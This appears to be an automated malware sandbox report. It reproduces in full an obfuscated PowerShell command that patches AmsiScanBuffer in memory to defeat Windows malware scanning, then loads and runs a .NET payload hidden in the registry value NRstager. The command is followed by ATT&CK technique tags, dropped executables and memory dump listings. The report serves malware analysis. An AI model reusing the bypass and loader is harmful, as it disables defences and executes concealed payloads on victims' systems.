C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:yFQdYfuwSpWD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lZcLKMcphPEWeK,[Parameter(Position=1)][Type]$xXObQpHsAT)$FFXPgTszjMm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+'ect'+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+'la'+'s'+'s'+[Char](44)+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+'e'+[Char](100)+','+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$FFXPgTszjMm.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+'a'+'l'+'N'+[Char](97)+'m'+[Char](101)+',H'+'i'+''+[Char](100)+''+'e'+'B'+[Char](121)+'S'+'i'+'g'+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lZcLKMcphPEWeK).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+'m'+[Char](101)+''+[Char](44)+'Ma'+'n'+''+[Char](97)+''+[Char](103)+'e'+'d'+'');$FFXPgTszjMm.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+'o'+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+'id'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+',Vi'+'r'+''+'t'+''+[Char](117)+'a'+'l'+'',$xXObQpHsAT,$lZcLKMcphPEWeK).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $FFXPgTszjMm.CreateType();}$YtAbtmUkITzLH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+'n'+'32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+'e'+'N'+'a'+[Char](116)+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+'h'+''+[Char](111)+'d'+[Char](115)+'');$lvxztncEfEylYv=$YtAbtmUkITzLH.GetMethod('Ge'+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'l'+'i'+''+'c'+','+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bkyOWGQGsloFmhdeDSE=yFQdYfuwSpWD @([String])([IntPtr]);$OLikffDmuAIUqXzZtpnzpG=yFQdYfuwSpWD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mTgCjBqPIXT=$YtAbtmUkITzLH.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+'d'+'ule'+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+'ne'+'l'+''+'3'+'2'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$LYzipnvFUhZyEM=$lvxztncEfEylYv.Invoke($Null,@([Object]$mTgCjBqPIXT,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+''+[Char](121)+''+'A'+'')));$msjdkjTbEjDupUime=$lvxztncEfEylYv.Invoke($Null,@([Object]$mTgCjBqPIXT,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'ec'+[Char](116)+'')));$UCirWrP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LYzipnvFUhZyEM,$bkyOWGQGsloFmhdeDSE).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$fBdeDMlhZLAXsNeEJ=$lvxztncEfEylYv.Invoke($Null,@([Object]$UCirWrP,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$xmqCceogQX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($msjdkjTbEjDupUime,$OLikffDmuAIUqXzZtpnzpG).Invoke($fBdeDMlhZLAXsNeEJ,[uint32]8,4,[ref]$xmqCceogQX);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](242-111),[Byte](157+78),[Byte](95-95),[Byte](136+48),[Byte](132-45),[Byte](192-192),[Byte](147-140),[Byte](184-56),[Byte](176-39),[Byte](237-18),[Byte](93+102),[Byte](8+129),[Byte](64+128)),0,$fBdeDMlhZLAXsNeEJ,87-74);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($msjdkjTbEjDupUime,$OLikffDmuAIUqXzZtpnzpG).Invoke($fBdeDMlhZLAXsNeEJ,[uint32]8,0x20,[ref]$xmqCceogQX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+'W'+[Char](65)+'R'+[Char](69)+'').GetValue('N'+[Char](82)+''+[Char](115)+''+'t'+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Access Token Manipulation
1Parent PID Spoofing
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Access Token Manipulation
1Parent PID Spoofing
1Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
WER.145bd93f-40c7-47ee-b2f3-ca10435b6b4b.tmp.csv
WER.248ea0e0-9689-4968-ac55-10c91998f246.tmp.csv
WER.42285244-5bec-49ae-ae7a-3a3d1a0f87b5.tmp.txt
WER.4334300b-3458-4e5d-b8df-002f43679904.tmp.txt
WER.447b9e2f-9f8c-450d-8ef2-7526ee4741ba.tmp.csv
WER.a5bdef81-09f4-4f9e-b85d-a0324987a4b3.tmp.txt
WER.f6a96c56-8cf7-4e28-8f53-c05c67e352f9.tmp.WERInternalMetadata.xml
werel9f.pak
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
Install.exe
__PSScriptPolicyTest_oznq2itj.usy.psm1
lol.exe
setup.exe
NRExtExport.exe
NRExtExport.exe
dberr.txt
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
memory/356-3415-0x000001BA69ED0000-0x000001BA69F82000-memory.dmp
memory/748-108-0x00000219043E0000-0x00000219043E9000-memory.dmp
memory/748-104-0x00000219043E0000-0x00000219043E9000-memory.dmp
memory/748-105-0x00000219043E0000-0x00000219043E9000-memory.dmp
memory/748-110-0x00000219043E0000-0x00000219043E9000-memory.dmp
memory/748-109-0x00000219043E0000-0x00000219043E9000-memory.dmp
memory/748-103-0x0000021902F50000-0x0000021902F55000-memory.dmp
memory/840-138-0x0000020CA7C90000-0x0000020CA7CBC000-memory.dmp
memory/840-140-0x0000020CA7C90000-0x0000020CA7CBC000-memory.dmp
memory/840-139-0x0000020CA7C90000-0x0000020CA7CBC000-memory.dmp
memory/840-141-0x0000020CA7C90000-0x0000020CA7CBC000-memory.dmp
memory/840-143-0x00007FF849840000-0x00007FF849850000-memory.dmp
memory/840-142-0x0000020CA7C90000-0x0000020CA7CBC000-memory.dmp
memory/840-133-0x0000020CA7C90000-0x0000020CA7CBC000-memory.dmp
memory/964-112-0x0000024436820000-0x0000024436846000-memory.dmp
memory/964-113-0x000002443D850000-0x000002443D87C000-memory.dmp
memory/992-127-0x00000287C5170000-0x00000287C519C000-memory.dmp
memory/992-124-0x00000287C5170000-0x00000287C519C000-memory.dmp
memory/992-125-0x00000287C5170000-0x00000287C519C000-memory.dmp
memory/992-119-0x00000287C5170000-0x00000287C519C000-memory.dmp
memory/992-126-0x00000287C5170000-0x00000287C519C000-memory.dmp
memory/992-128-0x00000287C5170000-0x00000287C519C000-memory.dmp
memory/992-129-0x00007FF849840000-0x00007FF849850000-memory.dmp
memory/1044-5643-0x00000296F3F10000-0x00000296F3FC2000-memory.dmp
memory/1104-153-0x000002E8BEE70000-0x000002E8BEE9C000-memory.dmp
memory/1104-155-0x000002E8BEE70000-0x000002E8BEE9C000-memory.dmp
memory/1104-157-0x00007FF849840000-0x00007FF849850000-memory.dmp
memory/1104-147-0x000002E8BEE70000-0x000002E8BEE9C000-memory.dmp
memory/1104-152-0x000002E8BEE70000-0x000002E8BEE9C000-memory.dmp
memory/1104-156-0x000002E8BEE70000-0x000002E8BEE9C000-memory.dmp
memory/1104-154-0x000002E8BEE70000-0x000002E8BEE9C000-memory.dmp
memory/1148-5769-0x0000000000C90000-0x00000000018DF000-memory.dmp
memory/1148-6931-0x0000000000C90000-0x00000000018DF000-memory.dmp
memory/1148-11369-0x0000000000C90000-0x00000000018DF000-memory.dmp
memory/1164-161-0x0000024759800000-0x000002475982C000-memory.dmp
memory/1164-166-0x0000024759800000-0x000002475982C000-memory.dmp
memory/1164-167-0x0000024759800000-0x000002475982C000-memory.dmp
memory/1164-168-0x0000024759800000-0x000002475982C000-memory.dmp
memory/1164-169-0x0000024759800000-0x000002475982C000-memory.dmp
memory/1164-170-0x0000024759800000-0x000002475982C000-memory.dmp
memory/1164-171-0x00007FF849840000-0x00007FF849850000-memory.dmp
memory/1200-181-0x000001ED14030000-0x000001ED1405C000-memory.dmp
memory/1200-183-0x000001ED14030000-0x000001ED1405C000-memory.dmp
memory/1200-175-0x000001ED14030000-0x000001ED1405C000-memory.dmp
memory/1200-182-0x000001ED14030000-0x000001ED1405C000-memory.dmp
memory/1200-184-0x000001ED14030000-0x000001ED1405C000-memory.dmp
memory/1200-185-0x00007FF849840000-0x00007FF849850000-memory.dmp
memory/1200-180-0x000001ED14030000-0x000001ED1405C000-memory.dmp
memory/1220-3903-0x0000000000540000-0x0000000001D20000-memory.dmp
memory/1260-194-0x000001E053E10000-0x000001E053E3C000-memory.dmp
memory/1260-197-0x000001E053E10000-0x000001E053E3C000-memory.dmp
memory/1260-198-0x000001E053E10000-0x000001E053E3C000-memory.dmp
memory/1260-199-0x00007FF849840000-0x00007FF849850000-memory.dmp
memory/1260-195-0x000001E053E10000-0x000001E053E3C000-memory.dmp
memory/1260-189-0x000001E053E10000-0x000001E053E3C000-memory.dmp
memory/1260-196-0x000001E053E10000-0x000001E053E3C000-memory.dmp
memory/1324-208-0x00000142ABF90000-0x00000142ABFBC000-memory.dmp
memory/1324-211-0x00000142ABF90000-0x00000142ABFBC000-memory.dmp
memory/1324-210-0x00000142ABF90000-0x00000142ABFBC000-memory.dmp
memory/1324-212-0x00000142ABF90000-0x00000142ABFBC000-memory.dmp
memory/1324-213-0x00007FF849840000-0x00007FF849850000-memory.dmp
memory/1324-209-0x00000142ABF90000-0x00000142ABFBC000-memory.dmp
memory/1324-203-0x00000142ABF90000-0x00000142ABFBC000-memory.dmp
memory/1380-217-0x000001BA2CFA0000-0x000001BA2CFCC000-memory.dmp
memory/1380-222-0x000001BA2CFA0000-0x000001BA2CFCC000-memory.dmp
memory/2076-53-0x0000000000740000-0x0000000000ADC000-memory.dmp
memory/2124-11286-0x0000000000FD0000-0x00000000027B0000-memory.dmp
memory/2264-8053-0x0000000000AA0000-0x0000000000E3C000-memory.dmp
memory/2564-52-0x00007FF7C95D0000-0x00007FF7C9E9A000-memory.dmp
memory/2604-18073-0x0000000006680000-0x000000000669E000-memory.dmp
memory/2604-19156-0x0000000007B40000-0x0000000007B76000-memory.dmp
memory/2604-18065-0x0000000005200000-0x0000000005236000-memory.dmp
memory/2604-18066-0x0000000005890000-0x0000000005EDA000-memory.dmp
memory/2604-18067-0x0000000005F10000-0x0000000005F32000-memory.dmp
memory/2604-19200-0x0000000007DE0000-0x0000000007E76000-memory.dmp
memory/2604-19172-0x0000000007D30000-0x0000000007D3A000-memory.dmp
memory/2604-18072-0x0000000006190000-0x00000000064EB000-memory.dmp
memory/2604-19165-0x0000000008310000-0x000000000898C000-memory.dmp
memory/2604-19166-0x0000000007CD0000-0x0000000007CEA000-memory.dmp
memory/2604-19163-0x0000000007BA0000-0x0000000007C43000-memory.dmp
memory/2604-19162-0x0000000007B80000-0x0000000007BA0000-memory.dmp
memory/2604-19159-0x0000000070A40000-0x0000000070D9B000-memory.dmp
memory/2604-19157-0x0000000070890000-0x00000000708DC000-memory.dmp
memory/2604-18068-0x00000000060B0000-0x0000000006116000-memory.dmp
memory/2604-18069-0x0000000006120000-0x0000000006186000-memory.dmp
memory/2604-18074-0x0000000006740000-0x000000000678C000-memory.dmp
memory/2604-18154-0x0000000007820000-0x0000000007868000-memory.dmp
memory/2768-14448-0x0000000000500000-0x0000000001CE0000-memory.dmp
memory/2864-55-0x00007FF7C95D0000-0x00007FF7C9E9A000-memory.dmp
memory/2936-13578-0x00000000002C0000-0x000000000065C000-memory.dmp
memory/3080-14706-0x0000000000860000-0x0000000000BFC000-memory.dmp
memory/3120-12457-0x0000000000350000-0x0000000001B30000-memory.dmp
memory/3140-4586-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/3160-8023-0x0000000000D90000-0x0000000002570000-memory.dmp
memory/3420-16743-0x0000000000A40000-0x0000000002220000-memory.dmp
memory/3428-5843-0x0000000000230000-0x0000000001A10000-memory.dmp
memory/3476-11329-0x0000000000890000-0x0000000000C2C000-memory.dmp
memory/3500-3338-0x0000000000E50000-0x0000000002630000-memory.dmp
memory/3568-89-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/3568-91-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/3600-6900-0x0000000000ED0000-0x00000000026B0000-memory.dmp
memory/3684-10200-0x0000000000E90000-0x0000000002670000-memory.dmp
memory/3696-1387-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/3696-77-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/3696-5681-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/4112-3519-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/4140-6930-0x0000000000C30000-0x0000000000FCC000-memory.dmp
memory/4160-1358-0x0000000000B00000-0x00000000022E0000-memory.dmp
memory/4256-16914-0x0000000000AC0000-0x0000000000E5C000-memory.dmp
memory/4284-5525-0x0000000000930000-0x0000000002110000-memory.dmp
memory/4360-6-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/4360-5-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/4360-31-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/4360-50-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/4360-4-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/4360-10-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/4360-3-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/4360-2-0x0000000000D40000-0x0000000002520000-memory.dmp
memory/4360-0-0x00007FF866A6F000-0x00007FF866A70000-memory.dmp
memory/4360-1-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/4492-17987-0x0000000000640000-0x0000000001E20000-memory.dmp
memory/4580-5680-0x0000000000590000-0x00000000011DF000-memory.dmp
memory/4580-5660-0x0000000000590000-0x00000000011DF000-memory.dmp
memory/4596-102-0x00007FF888350000-0x00007FF888417000-memory.dmp
memory/4596-101-0x00007FF886FF0000-0x00007FF887391000-memory.dmp
memory/4596-5585-0x0000000000D90000-0x000000000112C000-memory.dmp
memory/4596-95-0x00000280A73C0000-0x00000280A73EE000-memory.dmp
memory/4596-96-0x00007FF889700000-0x00007FF889963000-memory.dmp
memory/4628-4127-0x0000000000A20000-0x0000000000DBC000-memory.dmp
memory/4740-10219-0x0000000000AF0000-0x0000000000E8C000-memory.dmp
memory/4764-8965-0x0000000000FB0000-0x0000000002790000-memory.dmp
memory/4792-1133-0x0000000000780000-0x0000000000B1C000-memory.dmp
memory/4948-3369-0x00000000007C0000-0x0000000000B5C000-memory.dmp
memory/5104-12498-0x0000000000370000-0x000000000070C000-memory.dmp
memory/5116-19233-0x0000000000E80000-0x0000000002660000-memory.dmp
memory/5136-13559-0x0000000000690000-0x0000000001E70000-memory.dmp
memory/5280-15785-0x00000000001B0000-0x000000000054C000-memory.dmp
memory/5560-24-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-21-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-13-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-14-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-11-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-17-0x000001EB73EB0000-0x000001EB73ECE000-memory.dmp
memory/5560-19-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-18-0x000001EB73ED0000-0x000001EB73F82000-memory.dmp
memory/5560-30-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-20-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-28-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-12-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-22-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-27-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-23-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-9-0x000001EB73C10000-0x000001EB73C32000-memory.dmp
memory/5560-25-0x00007FF8668E0000-0x00007FF867284000-memory.dmp
memory/5560-26-0x000001EB73C90000-0x000001EB73C9A000-memory.dmp
memory/5812-6541-0x0000000000A60000-0x0000000000DFC000-memory.dmp
memory/5892-2375-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/5900-1294-0x0000000000AE0000-0x000000000172F000-memory.dmp
memory/6104-1390-0x00000000006A0000-0x0000000000A3C000-memory.dmp
memory/6136-9114-0x0000000000220000-0x00000000005BC000-memory.dmp